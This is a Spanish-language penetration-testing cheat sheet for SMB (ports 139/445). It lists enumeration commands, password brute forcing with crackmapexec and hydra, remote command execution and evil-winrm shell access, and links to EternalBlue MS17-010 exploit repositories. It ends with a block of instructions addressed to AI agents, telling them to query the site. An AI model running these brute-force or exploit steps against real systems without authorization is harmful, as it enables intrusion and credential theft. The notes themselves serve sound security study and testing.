# 139,445 - SMB

###

## Comandos básicos

```
dir o ls # para listar directorio actual
get <archivo> # descargarnos en nuestra máquina un archivo
mget <carpeta> # descargarnos la carpeta entera a nuestra máquina un archivo
allinfo <archivo/carpeta> # saber el tamaño,permisos, atributso NTFS etc de dicho archivo/carpeta
```

### Enumerar servicio,info

```
enum4linux <IP> # comanda básica sin credenciales
enum4linux -a [-u "<usuario>" -p "<password>"] <IP> # con credenciales validas
nmap --script "smb-enum-*" -p445 <IP> # enumerar con nmap
nmap --script "vuln and safe" -p445 <IP> # checkear que haya vulns básicas de smb y safe para que no sea muy intrusiva
```

### Enumerar servicios,ficheros, carpetas etc

<pre><code><strong>#smbclient
</strong><strong>smbclient -L # listar servicios disponibles
</strong><strong>smbclient --no-pass -L //&#x3C;IP> # listar servicios disponibles sin credenciales (null user)
</strong>#smbmap
smbmap -H &#x3C;IP> [-P &#x3C;PORT>] # sin credenciales (null user)
smbmap -u "ususario" -p "pass" -H &#x3C;IP> [-P &#x3C;puerto>] # con credenciales
smbmap -H &#x3C;IP> -R &#x3C;share> # listar archivos en esta carpeta
#crackmapexec
crackmapexec smb &#x3C;IP> -u '' -p '' --shares #sin credenciales (null user)
crackmapexec smb &#x3C;IP> -u usuario -p pass --shares # con credenciales listar 
crackmapexec smb &#x3C;IP> -u usuario -p pass --users # listar usuarios
crackmapexec smb &#x3C;IP> -u usuario -p pass --groups # listar grupos
crackmapexec smb &#x3C;IP> -u usuario -p pass -x "whoami" # RCE
</code></pre>

### Fuerza bruta

```
# winrm
crackmapexec winrm <IP victima> -u user -p /usr/share/wordlists/rockyou.txt
# smb
crackmapexec smb <IP victima> -u user -p /usr/share/wordlists/rockyou.txt
# Linux
hydra -l <user> -P /usr/share/wordlists/rockyou.txt smb://<IP victima>
```

### Conectarte al recurso

```
smbclient --no-pass //<IP>/<carpeta> # sin credenciales
smbclient //<IP>/<ruta> -U=user%password # con credenciales
```

### Descargar archivo

```
sudo smbmap -R carpeta -H <IP> -A <archivo> -q # descargar a tu maquina local
```

### Crear servidor smb con python

```
smbserver.py EjemploSmb $(pwd)
```

### Evil-winrm

Si es el caso que con crackmapexec hemos conseguido credenciales del sistema y no esta el RDP abierto, podemos acceder mediante evil-winrm que utiliza el protocolo winrm para acceder al sistema victima y tener una shell

```
evil-winrm -i <IP/Domain> -u <user> -p <password>
```

## Eternalblue ms17-010

Para solucionar el error de impacket a la hora de ejecutar los scripts dejo un link que medio soluciona el problema <https://abhishekgk.medium.com/solution-impacket-error-ms17-010-a7787ebacf84>

{% embed url="<https://github.com/worawit/MS17-010>" %}
Link github
{% endembed %}

Si por ejemplo al hacer el check no sale todos los test en `STATUS_ACCESS_DENIED` prueba de entrar en el script y añadir a `USERNAME = ''` el usuario guest y vuelve a ejecutar.

{% embed url="<https://github.com/d4t4s3c/Win7Blue>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/enumeracion-de-servicios/139-445-smb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
